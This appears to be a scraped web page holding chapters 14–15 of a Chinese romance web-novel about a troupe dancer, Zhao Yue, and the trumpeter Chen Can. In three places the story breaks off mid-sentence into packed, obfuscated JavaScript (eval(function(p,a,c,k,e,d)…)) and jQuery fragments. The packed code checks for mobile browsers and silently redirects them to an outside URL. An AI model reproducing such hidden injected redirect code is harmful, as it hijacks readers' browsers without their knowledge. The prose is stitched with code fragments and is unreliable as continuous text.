他耳尖“唰”地一下红透,连脖子都染上热意,手足无措地别开眼,心跳“咚咚”地乱了章法,臊得一句话都说不出来,只假装盯着火堆,可脑子里全是刚才那一句话。
兆悦也愣了一下,脸颊瞬间发烫,却强装镇定,轻轻踢了郝淑雯一下:“别胡说。”
一群人笑着闹着散开,各自回宿舍。
没过多久,萧穗子要去写板报,郝淑雯闲着没事,陪着她一起去了。
兆悦想起自己的外套落在排练厅,便独自往那边走。
夜里安静,走廊里只有她的脚步声。推开排练厅大门,里面一片昏暗,只有舞台上方一盏小灯亮着,昏黄柔和。
一道清亮的小号声,正断断续续地在空旷的大厅里回响。
是陈灿。
兆悦站在门口,静静看了片刻。
她早就看出来了,陈灿从来不是什么只会玩世不恭的高干子弟。
别人休息时他在加练,别人打闹时他也在加练,能坐上首席小号手的位置,靠的不只是家世,还有一分一秒死磕出来的功夫。
陈灿听见动静,回头看见是她,嘴角习惯性往上一挑,还是那副散漫的样子,放下小号打趣:“怎么,专程来看我练号?”
语气里带着惯常的拉扯、逗弄。
若是平时,兆悦多半会淡淡回一句,或是干脆不理。
可今晚,夜色太静,灯光太柔,偌大的排练厅里只有他们两个人。
她心里没半点慌乱,反而异常平静。
她就这么看着他,眼神直直的,不躲不闪,一句话也不说,一步步朝他走过去。
陈灿还坐在舞台边缘,长腿随意垂着。舞台比地面高出一截,他个子又高,这么坐着,两人刚好能平视。
兆悦一步一步走近,直到彻底踏入旁人绝不会轻易越过的距离——是她在现代学到的一个名词:社交安全距离。
她没有停。
再往前走,直接站到了他双腿之间,近得能闻到他身上淡淡的皂角味,能看清他眼尾的弧度。
陈灿脸上那副吊儿郎当的笑意,瞬间僵住。
他活这么大,不是没被小姑娘偷偷看过、喜欢过。郝淑雯那种天天跟他斗嘴的,他见多了,也应付得来。
可眼前这个人,就这么直直地盯着他,一步步靠近,近到呼吸相闻。
这哪里见过?他完全招架不住。
心脏猛地一缩,紧接着在胸腔里疯狂狂跳,像排练时敲打的大鼓,“咚、咚、咚”,震得他耳膜都在响。
脑子里所有的玩笑、所有的打趣、所有的散漫,一瞬间全空了。
整个世界、整个排练厅、整个黑夜,好像都消失了。
只剩下眼前这个人。
她呼吸轻浅,带着沐浴后干净清浅的香气,一点点漫进陈灿鼻尖。
昏暗的灯光从上方落下来,柔和勾勒出她脸颊、肩线与腰肢的曲线,近得他只要轻轻垂眼,就能一览无余,只要微微抬手,就能碰到她。
可她没有再近一步,就那样安安静静、目光平直地望着他,眼神沉静,却带着一股不容避开的力道。
前一秒还能随口打趣的散漫与轻松,瞬间被抽得干干净净。他指尖仍握着小号,指节不自觉收紧,喉结轻轻滚了一下,却没发出声音。
他能清晰听见自己的心跳,在空旷安静的排练厅里,一下重过一下,撞得胸口发闷。
他这辈子,真没这么被动过。
僵持几秒,陈灿强行把那点慌乱压下去,扯出一点平时那副漫不经心的笑,声音放得低缓,尽量显得自然:“大晚上的,不回宿舍,跑到这儿来发呆?”
兆悦眼底凝着一抹似笑非笑,目光稳稳落在他脸上,不躲不闪。
她没说实话,轻轻抬了抬下巴,语气半真半假:“来看看我们的小号手呀。”
陈灿一怔,指尖下意识攥紧了小号。
他不是听不出这话里的玩笑意味,可偏偏,心跳还是不受控地漏了一拍。
“看我?”他扯出一点笑,试图稳住主动权,“我有什么好看的。”
“别人不好看,”兆悦顿了半秒,语气淡得像水,却藏着只有他能听懂的偏心,“你不一样。”
陈灿呼吸猛地一滞。
他太清楚了。
她对旁人向来冷淡疏离,话少、眼冷、半步不让。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17309095|198747||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
>可现在,她站在他面前,站在他双腿之间不远的地方,灯光裹着她身上的淡香,说他不一样。
这哪里是玩笑。
他喉结滚了一下,声音比平时低了些:“你故意的。”
兆悦眼尾轻轻一弯,没承认,也没否认,只慢悠悠往后虚撤了一小步,做出要拉开距离的样子。
动作轻,幅度小,一看就不是真要走,是在逗他。
“我只是实话实说。”她语气无辜,“既然你觉得没意思,那我不看就是了。”
这一“撤”,比往前靠近还要命。
陈灿刚才还强装的淡定,瞬间就绷不住了。
他怎么能接受她把那句“你不一样”收回去。
“谁让你不看了。”他开口,语速比平时快了一点,多了几分不易察觉的急。
空气一下子静了。
昏黄的灯光裹着两人,连呼吸都轻得清晰。
兆悦没再接话,就那样望着他,眼尾带着一点若有若无的情绪,却不再开口。
陈灿被她看得心头发紧,刚想再开口,就听见她低低地、近乎呢喃般,慢声唤了他一声:“陈灿……”
尾音极轻地拖了一点点,轻得像风擦过耳尖,又软得像落在心上的一片雪。
陈灿喉结狠狠滚了一下,声音都不自觉放低,带着几分猝不及防的慌乱:“怎么了?”
兆悦依旧没立刻说话,只是静静望着他,目光软而轻,像浸在暖光里。
几秒钟的沉默,漫长得让人屏息。
等他快要绷不住时,她才轻轻开口,声音又软又黏,带着点明晃晃的撩拨,慢悠悠道:“没什么呀。”
“就想喊喊你。”
明明是极为普通的一句话,但就这一下,陈灿整个人都像被轻轻点着了。
心跳“轰”一下乱得不成样子,耳尖、脖颈、连指尖都在发烫。
他张了张嘴,想说什么,却发现脑子一片空白。
就在他濒临破防、整个人都要绷断的瞬间,
兆悦忽然动了。
不是退,是猛地往前一大步。
速度不快,却直接逼近到离他只有半臂距离。
她微微侧身,站到他更近的位置。
一瞬间,沐浴后的清浅气息扑面而来——有淡淡的花香,还有一丝说不上来、只属于她的馨香,缠在鼻尖,把陈灿闻得头昏脑胀,视线都有些发飘。
他呼吸一滞,刚要开口,整个人都僵住。
就见兆悦目光轻轻一落,手从他身后的椅背上,轻轻抽出一件外套。
是她白天落下的。
陈灿瞳孔微缩。
下一秒,兆悦拿着外套,轻缓退开半步,眼尾仍凝着浅淡的笑意。
她望着他,声音轻柔,像随口一问:“小号手,你每天这时候都来练吗?”
不等陈灿吐出一个字,
她已经转身,脚步轻浅地往门口走,只丢下一声带着上翘尾音的:“我走啦。”
门轻轻合上,再没一点声息。
陈灿终于想起来呼吸,他大口的喘息,空荡的排练厅,此时只剩他的呼吸和心跳声。
14. 推拉
一夜北风掠过营区的屋顶,把窗外的枯枝吹得沙沙作响。
天刚蒙蒙亮,文工团的宿舍里就陆续有了动静。
窸窸窣窣的穿衣声、洗漱声、压低了的说话声,混着窗外的风声,一点点把清晨搅得热闹起来。
兆悦是被生物钟自然唤醒的。她睁开眼,盯着天花板发了几秒呆,昨夜排练厅里那点暧昧又紧绷的气息,还残留在记忆里,轻轻一勾,就让人心里发酥。
她翻了个身,慢条斯理地坐起来。
同宿舍的萧穗子还迷迷糊糊,揉着眼睛坐起来,声音带着刚睡醒的哑:“悦儿,你今天醒这么早?”
“嗯。”兆悦应了一声,下床穿鞋,“昨天睡得早。”
萧穗子打了个哈欠,也慢慢爬了起来:“等会儿去食堂,杭春明说他今天早点去,帮我们占位置。”
兆悦点点头,拿起洗漱用品,跟着萧穗子一起出了宿舍门。
刚走到走廊中段,就听见楼下男宿舍那边传来一阵低低的哄笑,声音不大,却清清楚楚飘进耳朵里。
“我说陈灿,你昨天晚上干嘛呢?翻来覆去的,一晚上没消停。”
“就是,长吁短叹的,我还以为你出什么事了。”
“问你你又不说,到底怎么了?练号练魔怔了?”
兆悦脚步几不可查地顿了一下。
她没停步,只微微侧了侧耳,脸上依旧没什么表情,眼底却悄悄漾开一点浅淡的笑意。
原来是真的一夜没睡好。
她还以为,昨天那点推拉,顶多让他乱上一会儿。没想到,威力这么大。
萧穗子没听出什么,只疑惑地问:“他们在说谁呢?”
“不知道。”兆悦语气平淡,抬脚继续往前走,“走吧,别管他们。”
话虽这么说,她嘴角那点压不下去的弧度,还是泄露了心情。
她能想象出陈灿当时的样子——嘴硬,别扭,明明心里乱得一塌糊涂,还死撑着不肯说,只能自己跟自己较劲。
幼稚。
兆悦在心里轻轻评价了一句。
两人刚到食堂门口,就碰上了杭春明。他手里拿着几个饭盒,看见她们,立刻挥了挥手。
“这儿。”他跑过来,把其中一个塞给兆悦,“我刚帮你打好了,还是你爱吃的那几样。”
“谢了。”兆悦接过,自然地往食堂里走。
杭春明跟在旁边,絮絮叨叨:“我妈说给我寄了一堆吃的,等到了我借刘峰的电炉子煮一下,咱们几个一起吃。”
“好啊。”萧穗子立刻眼睛亮了,“我早就想吃家里的东西了。”
兆悦没说话,只是微微点头,目光不经意间扫过食堂角落。
陈灿就坐在那里,面前的早饭几乎没动。他眼底淡淡的青黑十分明显,整个人看上去精神不振,和平时那副散漫张扬的样子差了很多。
像是察觉到她的目光,陈灿猛地抬起头,直直撞进她的视线里。
那眼神里,带着点不易察觉的哀怨,又带着点说不清道不明的委屈,直直落在她身上,像在无声控诉。
兆悦神色不变,平静地收回目光,低头吃饭,仿佛刚才那一眼只是偶然。
可心里却早已经乐开了花。
——自己睡不着,还来怨我。
——我可什么都没做。
她一脸无辜,心安理得地接受着他这道幽怨的视线。
陈灿看着她这副事不关己、云淡风轻的样子,一口气堵在胸口,上不去下不来,憋得难受。
昨晚一整夜,他一闭眼就是排练厅里的画面——她一步步靠近,她眼底的笑,她轻声喊他名字的声音,还有最后那句轻飘飘的“我走啦”。
翻来覆去。
结果她倒好,跟没事人一样,该吃吃该喝喝,半点波澜都没有。
越想越憋屈。
旁边的小号手撞了撞他的胳膊:“发什么呆呢?饭都凉了。”
陈灿回过神,语气不太自然:“没什么。”
“我看你就是没睡好。”队友打趣,“到底干嘛了?跟我们说说。”
陈灿皱了皱眉,把视线从兆悦身上硬生生扯回来,敷衍道:“练号练晚了,别问了。”
队友们对视一眼,都露出一副“我懂”的表情,只是没人敢再追问。
早饭过后,众人陆续前往排练场。
清晨的风带着凉意,吹在脸上微微发疼。兆悦双手插在口袋里,走得不急不缓,背脊挺直,依旧是那副高傲的样子。
陈灿不远不近地跟在后面,目光总是不受控制地落在她的背影上。
她走得安静,连脚步都轻得很,可每一步,都像是踩在他的心尖上。
他明明告诉自己,别再这么没出息,别再盯着她看,可眼睛就是不听话。
兆悦自然能感觉到那道黏在自己背上的视线。
她没回头,也没理会,只在心里暗暗觉得好笑。
昨天还嘴硬得不行,今天就变成这副样子。
男人,果然都一个样。
到了排练场,刘峰已经在那里等着了。
他刚从外面回来,肩上背着一个布包,里面鼓鼓囊囊的,全是信件和包裹。
看见众人,他笑了笑,扬了扬手里的东西:“都过来一下,家里寄来的信和东西,我帮你们带回来了。”
人群立刻围了上去。
“刘峰,你可回来了!”
“有没有我的?我等好几天了!”
刘峰一个个点名分发,脸上始终带着温和的笑。
“萧穗子,你妈给你寄的围巾。”
“郝淑雯,你家的包裹。”
“朱克,你的信。”
兆悦站在人群外侧,没挤进去,也没着急。
她对家里的来信,向来情绪平淡,却不是不期待。
直到刘峰喊到她的名字。
“兆悦,你的信,还有一个小包裹。”
兆悦这才慢慢走过去,伸手接过。
一封薄薄的信,一个方方正正的小盒子,分量不重。
“谢谢。”她淡淡道。
“不客气。”刘峰点了点头,继续给别人分发。
兆悦拿着信和盒子,走到一旁,慢慢拆开信封。
是母亲苏琴的字迹,工整又温和。
信里先问她在文工团习不习惯,夜里被子够不够暖,训练强度大不大,食堂的饭菜合不合口味。
后面又叮嘱她好好练功,听分队长的话,和队友好好相处,别逞强,也别委屈自己,身体最重要。
末尾还特意写,知道她训练、排练、集合都要掐准时间,怕她误点迟到,特意寄了一块表给她,方便看时间,也让她在这边别太亏待自己。
父亲也在旁边添了两句,话不多,却是让她照顾好自己,有什么需要就往家里写信。
兆悦一目十行地看完,指尖轻轻按住信纸,安静地把信折好,放回口袋。
她知道父母是真心疼她、惦记她,每一句都是关心。
只是他们表达得向来规矩、实在,少了几分亲昵,多了几分郑重,让她习惯了平静接受,不会外露情绪。
萧穗子凑过来,眼睛落在她手里的小盒子上:“里面是什么啊?看着挺精致的。”
兆悦没说话,轻轻打开盒子。
一块崭新的手表躺在里面,表盘干净,表带细腻,是如今最火爆、最难抢的牌子,价格不菲。
萧穗子和朱克同时吸了一口气。
“这是名牌表吧?”朱克压低声音,“我听说特别难买,有钱都不一定能抢到。”
萧穗子也一脸惊叹:“悦儿,你妈也太疼你了,这么贵重的东西都舍得给你寄。”
换做别人,拿到这样的表,早就高兴得不行了。
可兆悦只是淡淡看了一眼,重新盖上盒子,放回口袋里。
杭春明抱着一个大箱子跑过来,笑得一脸开心:“快看,我爸妈给我寄了一堆吃的,全是咱们家乡的特产。”
箱子里塞满了各种干货、零食、腊肉,香气隐隐透出来。
杭春明拍了拍箱子:“今天晚上大家都少吃点食堂的饭,我借刘峰的电炉子煮一下,咱们一起吃。”
“好啊好啊!”周围立刻响起一片欢呼。
“还是春明够意思!”
“晚上有口福了!”
杭春明笑得一脸得意,下意识看向兆悦:“悦儿姐,晚上你也多吃点,我煮你爱吃的。”
兆悦微微点头:“嗯。”
上午的训练很快开始。
舞蹈队压腿、练基本功,乐队在一旁调试乐器,整个排练场热闹又有序。
兆悦站在队伍里,动作标准,姿态优雅,每一个动作都做得干净利落。
只是她能感觉到,有一道目光,总是时不时落在自己身上。
偷偷瞄一眼,又飞快移开,像是在自我催眠,假装自己没在看。
不用想也知道是陈灿。
兆悦心里觉得好笑,却没理会。
今天因为家里那封信,她心情不算多好,没什么精力去逗他。
随他去吧,幼稚。
她专心投入训练,把所有的注意力都放在动作上,彻底忽略了那道来回飘忽的视线。
陈灿站在乐队的位置,小号拿在手里,却没什么心思练习。
目光总是不受控制地飘向舞蹈队的方向,落在兆悦的身上。
她今天话很少,脸上比平时更静了几分,虽然依旧高傲,却能感觉到她情绪不高。
不像昨天那样,眼底藏着狡黠的笑意,整个人都带着灵气。
她怎么了?
是训练累了,还是有什么烦心事?
陈灿心里莫名有些担心,却又不敢上前问,只能这么远远看着,越看心越乱。
好不容易熬到训练结束,众人都松了一口气。
冬天昼短夜长,天色很快暗了下来。
食堂里,杭春明早早占好了位置,电炉子摆在桌上,锅里煮着各种特产,香气四溢。
萧穗子、郝淑雯、小芭蕾等人围坐在一起,说说笑笑,气氛热闹。
兆悦也坐在里面,只是没什么胃口,没吃几口就放下了筷子。
“怎么不吃了?”杭春明抬头看她,“不合胃口吗?”
“不是。”兆悦摇摇头,“有点饱,我出去走走。”
“那你早点回来,外面冷。”杭春明叮嘱道。
“知道。”
兆悦站起身,独自走出食堂,往营区安静的角落走去。
晚风有些凉,吹在脸上,让她稍微清醒了一点。
脑子里想起家里的信,心里轻轻沉沉的,说不上难过,只是有点累。
这么多年,她一直按着父母期待的样子长大,听话、努力、不出错。
他们是真的爱她、疼她,只是这份爱太重、太规矩,让她很少有完全放松的时候。
“心情不好?”
一个温和的声音在身后响起。
兆悦回头,看见杨铮站在不远处,手里拿着一件外套,正看着她。
杨铮比她大一岁,从小一起长大,对她家里的情况多少知道一点。也清楚她和父母之间那种既亲近又带着距离的关系。
兆悦没隐瞒,轻轻“嗯”了一声。
杨铮走到她身边,和她并肩站着。
“家里的信,看看就好。”杨铮轻声说,“你已经做得很好了,不用逼自己太紧。”
兆悦抬头看了他一眼,没说话,却微微点了点头。
只有她自己知道,这句简单的安慰,在这一刻,有多让她心安。
而这一幕,恰好被不远处的陈灿看在眼里。
他吃完东西,心里惦记着兆悦,下意识出来找她,结果就看见她和杨铮站在一起,低声说话。
两人靠得不远,姿态自然,像是在聊什么很私密的话题。
那是他插不进去的氛围,是他不知道的心事。
陈灿站在阴影里,手指不自觉攥紧,心里涌上一股说不清道不明的情绪。
烦躁,憋屈,还有一丝连他自己都不愿承认的——不爽。
他看得出来,兆悦今天情绪不好。
可他不知道原因,也不知道该怎么安慰。
而杨铮,却什么都知道,什么都懂。
这种感觉,让他很不舒服。
他站在原地,看了一会儿,最终还是没上前,转身默默走回了宿舍。
等兆悦和杨铮回到食堂,里面的人已经散得差不多了。
“陈灿呢?”萧穗子问了一句,“刚才还在,怎么一下子不见了。”
“不知道,可能先回去了。”有人回答。
兆悦没接话,心里隐约猜到了什么,却没放在心上。
一行人结伴回宿舍。
路上,萧穗子忽然想起什么,开口道:“对了,分队长前几天跟我说,过几天要开始排练新舞蹈了。”
“新舞蹈?”郝淑雯立刻来了兴趣,“什么舞啊?”
“说是给打了胜仗的部队庆功的。”萧穗子说,“动作都是我们学过的基础,不算难,就是冬天练着累,容易冻着。”
“又要排练啊……”郝淑雯垮了脸,“我最近都快累死了。”
“没办法,任务来了嘛。”萧穗子无奈道。
兆悦走在人群里,没参与讨论。
庆功也好,排练也罢,对她来说都一样。练完就行。
只是一到冬天,她就格外赖床,最近几天,几乎都是卡着
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17309096|198747||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
点冲到排练场,早饭全靠杭春明帮忙带。
偏偏这几天,杭春明忙着煮东西、忙活各种琐事,累得体质下降,抵抗力差,竟然感冒了。
早上起来,声音哑得厉害,脸色也不太好。
兆悦看了他一眼:“你感冒了?”
“嗯,有点。”杭春明吸了吸鼻子,“没事,小问题。”
“今天别帮我带早饭了。”兆悦说,“你好好休息。”
“那怎么行,你不吃早饭,一上午训练怎么受得了?”杭春明急道。
“我自己起得来。”兆悦淡淡道。
话是这么说,第二天早上,她还是差点睡过头,匆匆忙忙赶到排练场,空腹练了一上午。
中午吃饭的时候,杨铮坐在她不远处,吃完饭后,慢慢走到她身边。
“你这两天没吃早饭?”杨铮问。
“嗯。”兆悦点头。
“杭春明感冒了,不方便。”杨铮说,“要是不介意,接下来几天,我帮你带吧。”
这话刚落,不远处刚吃完饭的陈灿,脚步猛地一顿。
他下意识看过去。
帮她带早饭?
凭什么?
陈灿也不知道自己怎么回事,脑子一热,脚步不受控制地走过去,故意撞了杨铮一下。
力道不大,却足够打断两人的对话。
杨铮回头看了他一眼。
他早就看出来陈灿喜欢兆悦,上次兆悦伸手从火里拿信,陈灿那紧张的样子,他记得清清楚楚。
对于陈灿这种幼稚的挑衅,杨铮根本没放在心上。
他和兆悦这么多年的交情,不是一个半路杀出来的小号手能比的。
杨铮只是淡淡看了陈灿一眼,没计较,重新看向兆悦:“你考虑一下,我早上本来就要去食堂,顺手的事。”
兆悦摇摇头,语气客气却坚定:“不用了,谢谢你。你每天练琴都那么早,还要特意等我,太麻烦了。”
她习惯了杭春明的顺手,却不想麻烦别人。
杨铮也没勉强:“那好吧,要是需要帮忙,随时跟我说。”
“嗯。”
杨铮转身离开。
陈灿站在一旁,心里那股莫名的火气稍微消了一点,却还是绷着脸,假装路过,快步走了。
兆悦看着他的背影,无奈地摇了摇头。
真的很幼稚。
可空腹训练,实在难熬。
下午高强度的训练下来,她整个人都有些虚,脸色也不太好看。
晚上结束训练,她没立刻回宿舍,也走不动路,独自在营区的凉椅上坐着。
风有点凉,她裹紧了外套,闭着眼休息。
没过多久,一道身影从她面前经过,脚步很慢,刻意放慢了速度。
兆悦不用睁眼也知道是陈灿。
他这是故意在她面前晃,想装高冷,想让她先开口。
兆悦觉得好笑,却没理他,依旧闭着眼,一动不动。
陈灿走过去,又悄悄回头,看见她根本没理会自己,心里有点失落,又有点不甘。
他就这么来回走了两趟,兆悦始终没睁眼。
就在他准备放弃的时候,不远处传来一阵脚步声。
林丁丁走了过来,脸上带着掩饰不住的笑意,看见兆悦,立刻凑了过来。
“悦儿,你在这儿坐着呢?”林丁丁语气亲昵,眼神却带着几分炫耀。
兆悦睁开眼,淡淡看了她一眼:“有事?”
“也没什么。”林丁丁笑了笑,语气不经意地说,“就是跟你说一声,我最近每天早上都有人给我送早饭,天天不重样。”
林丁丁继续说:“我看你这两天没吃早饭,怪可怜的。要不要我叫那个人顺便给你带一份?反正多一份也不多。”
这话里的炫耀和暗戳戳的贬低,再明显不过。
潜台词就是——你除了让杭春明给你跑腿,根本没人真心对你好。
兆悦眼神冷了几分。
她本来就对林丁丁没什么好感,此刻更是觉得厌烦。
“不需要。”她语气平淡,却带着不容置疑的距离感。
“别这么客气嘛。”林丁丁假装善解人意,“大家都是队友,互相帮忙是应该的。你总麻烦杭春明也不好,他都感冒了,你也忍心?”
兆悦抬眼,冷冷看着她,没说话。
林丁丁被她看得有点不自在,却还是强撑着笑:“我也是为你好,不吃早饭对身体不好。行了,我不打扰你了,有需要就说。”
说完,转身得意洋洋地走了。
兆悦看着她的背影,心里一阵不爽。
偏偏这个时候,她又想起杭春明的感冒。
医疗条件一般,药也不太好买,也不知道他什么时候才能好利索。
正想着,一道身影在她面前停下。
兆悦抬头,看见是陈灿。
他终究还是没端住架子,折返了回来。
陈灿看着她,脸色有些不自然,语气却很认真:“你不吃早饭不行,上午训练强度那么大,身体扛不住。”
兆悦看着他,没说话。
“我给你带。”陈灿咬了咬牙,直接开口。
兆悦微微挑眉:“不用了,谢谢。”
陈灿一愣:“为什么?”
兆悦看着他,忽然轻轻开口:“小号手,你这么想帮我带早饭?”
一句话,说得陈灿耳根瞬间发烫,一时不知道该怎么回答。
想吗?想。
可让他直白说出来,又有点不好意思。
兆悦今天没什么心思逗他,情绪还没完全缓过来,只是淡淡道:“没事,我明天自己起早去吃就行了。”
说完,她站起身,准备回宿舍。
陈灿站在原地,看着她的背影,心里莫名。
他感觉,自己好像始终没能真正走进她的世界。
无论他怎么靠近,怎么试探,好像都隔着一层东西。
第二天一早,兆悦果然自己起早去了食堂。
吃完早饭,她还特意去了卫生队,给杭春明买了效果最好的药。
回到宿舍,她把药递给杭春明:“按时吃。”
杭春明接过药,眼眶有点发热:“悦儿姐,还是你对我最好。”
兆悦没说话,只是微微点头。
有了药,杭春明的感冒很快就好了,又开始每天帮她带早饭,恢复了以前的样子。
兆悦却想起了前几天,陈灿主动提出帮她带早饭的样子。
她那天拒绝得干脆,这几天,陈灿看她的次数明显少了,也不再偷偷瞄她,像是真的被推远了。
兆悦心里微微一动。
推得太远,也不好。
总得拉回来一点。
15. 远近
庆功演出的排练压得人喘不过气。
文工团上下连轴转,从清晨到深夜,舞步与乐器声几乎没停过。
兆悦站在舞蹈队前排,动作利落舒展,分队长的夸赞一遍遍落在耳边,她却没怎么听。
她的目光,总往乐队的方向飘。
陈灿就站在那里,握着小号,脸上是从未有过的冷淡。
不再偷偷看她,不再在她身后不远不近地跟着,食堂里遇见,也不再用那道委屈又幽怨的眼神黏着她。
迎面撞上,他只面无表情地移开视线,像看一个普通队友。
兆悦心里清楚,是自己之前推得太狠。
几次刻意疏远,几句轻描淡写的拒绝,人就这样慢慢远了。她一向懂收放,这一回,不知是忙乱还是事情太多,真把人推得没了踪影。
这几天,她晚饭后总去营区角落散心,想撞见他练小号,想找个单独说话的机会,一次也没有。
她慢慢明白——如果陈灿不主动给机会,他们连半点独处的可能都没有。
心里轻轻一沉。
她不是非他不可,一向清醒克制,可在文工团待久了,心也跟着纯粹了几分。
推拉要有来有回,只推不拉,人自然会走。
她想拉一把,可排练太紧,人太多,到处都是声音,没有半分钟能说私话。
直到庆功演出当天。
部队开进营区,掌声和口号声一片。文工团的表演很顺利,台下反响热烈。谢幕时,兆悦跟着队伍鞠躬,一抬头,定在了皮卡旁边。
一个人倚在车边,短发利落,皮肤晒黑,个子近一米七五,军装笔挺,远看像个男兵。
兆悦一眼就认出来了。
是刘予。
她从小一起长大的朋友。
什么高冷矜持,全都顾不上了。兆悦提着舞裙,不顾萧穗子、郝淑雯和队友的目光,直接冲了过去。
她一把抱住刘予,眼睛一下就红了。
“你怎么来了?”
“惊喜吧?”刘予声音爽朗,笑着回抱,“我就在这支部队的女兵连,早就知道你们在这儿演出。”
两人搂在一起,又笑又晃,亲近得不像话。
身后的人都看呆了。
郝淑雯拉了拉萧穗子,压低声音:“那是男兵吧?他俩也太近了。”
萧穗子摇头:“我从没听悦儿说过。”
人群里,心绪翻涌最厉害的,是陈灿。
他站在原地,手指死死攥着小号,指节发白,脸色冷得厉害。
他忍着不看她、不靠近她,就是想让她知道,他也会生气,也会离开。可眼前这一幕,像一盆冷水从头浇下。
那他之前的辗转反侧算什么?
她在排练厅里的那些试探与靠近,又算什么?
一股闷火堵在胸口,陈灿没跟任何人打招呼,转身就走,脚步又快又沉。
等萧穗子和郝淑雯上前一问,才知道刘予根本不是男兵,是个实打实的姑娘,只是剪了短发,晒得黑,性子又粗,看上去像男孩儿。
可这话,陈灿已经听不到了。
他早回了宿舍,一头栽在床上,对着枕头闷捶了几下,心里又气又憋屈,越想越不是滋味。
从这天起,他是真的不理兆悦了。
演出结束,部队在附近休整,刘予几乎天天来找兆悦,两人形影不离。
第二天排练,分队长一进门就笑:“昨天演出很成功,领导都表扬了。今天不练,休息一天。”
大家一起哄,休息直接变成两天。
兆悦心里一动。
机会来了。
她想找陈灿说说话,把之前远了的距离拉回来。
可陈灿根本不接茬。
他是在赌气,也是故意气她。
食堂里,大家照旧按圈子坐,郝淑雯、萧穗子、兆悦一桌,陈灿和乐队的人坐在隔一张桌子的位置,两桌不远,说话声能听得一清二楚。
郝淑雯嚼着馒头,往对面瞥了一眼,扬声开口:“陈灿,昨天演出你号吹得挺响,怎么今天蔫了?”
陈灿抬眼,夹了一筷子咸菜,语气散漫:“总比有些人,记不住谱,管闲事倒挺积极。”
郝淑雯立刻把筷子往桌上一放:“你说谁记不住动作?有本事上台比一比!”
“比就比,”陈灿笑了一声,“我怕你跟不上拍子。”
“你少得意!”郝淑雯瞪着他,“不就是个小号手吗,真把自己当台柱子了?”
“得了吧你,输了怎么着。”
陈灿这句话落下,目光轻飘飘往兆悦这边扫了一眼,又很快移开。
郝淑雯好似气得要站起来,被萧穗子拉住。
兆悦垂着眼,一口饭扒了半天没咽下去,指尖微微攥紧。
一顿饭,隔着一张桌子,你来我往,呛得热闹。兆悦全程没说话,放下碗筷时,碗里的饭菜几乎没动。
她站起身,一言不发走出食堂。
陈灿的目光追着她的背影,直到人走出门口,才猛地收回,脸色又冷了几分。
兆悦走在营区的路上,心里莫名不舒服。
她不知道陈灿是误会了刘予,只当他经不起疏远,转头就用这种方式跟她置气,甚至故意和别人打闹给她看。
既然他这般不坚定,那她也不必再费心拉扯。
恰好刘予迎面走来,笑着拉住她:“我跟你说个事,我们部队有个小参谋长,看了你演出一直打听你,家世好,人也稳重,要不要见见?”
兆悦点了头。
小参谋长长相周正,说话一板一眼,看她的眼神带着直白的好感。可聊了不到十分钟,兆悦就没了兴趣。
这个人太正直,太刻板,像她的父亲赵国斌,端正得让人喘不过气。
更重要的是,她不能走。
她要等何小萍,要护着刘峰,要留在这个她想改变一点结局的地方。
兆悦直接开口:“谢谢你的好意,我们不合适。”
小参谋长愣了一下,还是礼貌点头:“我明白,是我唐突了。”
刘予事后拉着她追问,兆悦只淡淡道:“他太像我爸,我不喜欢。”
刘予不再多问,两人手挽手在营区里散步,说说笑笑,搂得很近。
这一幕,被路过的宁政委看在眼里,只当是男兵与女兵过于亲密,眉头紧锁,记在了心里。
恢复训练当天,宁政委特意来到排练场,目光落在一旁观看的刘予身上,沉声道:“你是哪个单位的?男女有别,注意分寸。”
刘予先是一愣,随即哈哈大笑:“宁政委,我是女的!我爷爷是您老上级,我是他孙女刘予啊!”
宁政委当场傻眼,上下打量一番,哭笑不得:“我还当你是个小伙子呢!”
一句话,全场都明白了。
原来天天跟兆悦黏在一起的,是个姑娘,是她从小玩到大的朋友。
郝淑雯性格爽朗,和刘予一见如故,没两天就勾肩搭背,好得跟亲姐妹一样。
陈灿今日请了半天假修小号,依旧不知道真相。回来看刘予一边黏着兆悦,一边又和郝淑雯亲近,心里火气更盛,却又无处发作。
夜里,排练厅空无一人,陈灿抱着小号坐在台阶上,不是练习,只是发呆。
窗外传来脚步声,他听得出是兆悦。
他立刻挺直背,装作调试乐器的样子。
兆悦听见小号声,推门走了进来。
陈灿头也不抬,自顾自吹着调子。兆悦站在门口,沉默片刻,转身要走。“站住。”陈灿开口,声音不带温度。
兆悦停下脚步。
陈灿这才抬眼,语气夹枪带棒:“又来拿东西?这里没有你的衣服,也没有你要找的人。”
兆悦回头,看着他:“我没惹你,你为什么一直针对我?”
“我针对你?”陈灿笑了一声,笑意却没到眼底,“你眼光那么好,找的人那么风光,哪里用得着我针对。”
“我找谁了?”兆悦一脸茫然。
看她一副不知情的模样,陈灿心里的火气瞬间
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17309097|198747||http|test|mini|href|location''.split(''|''),0,{}));
() {
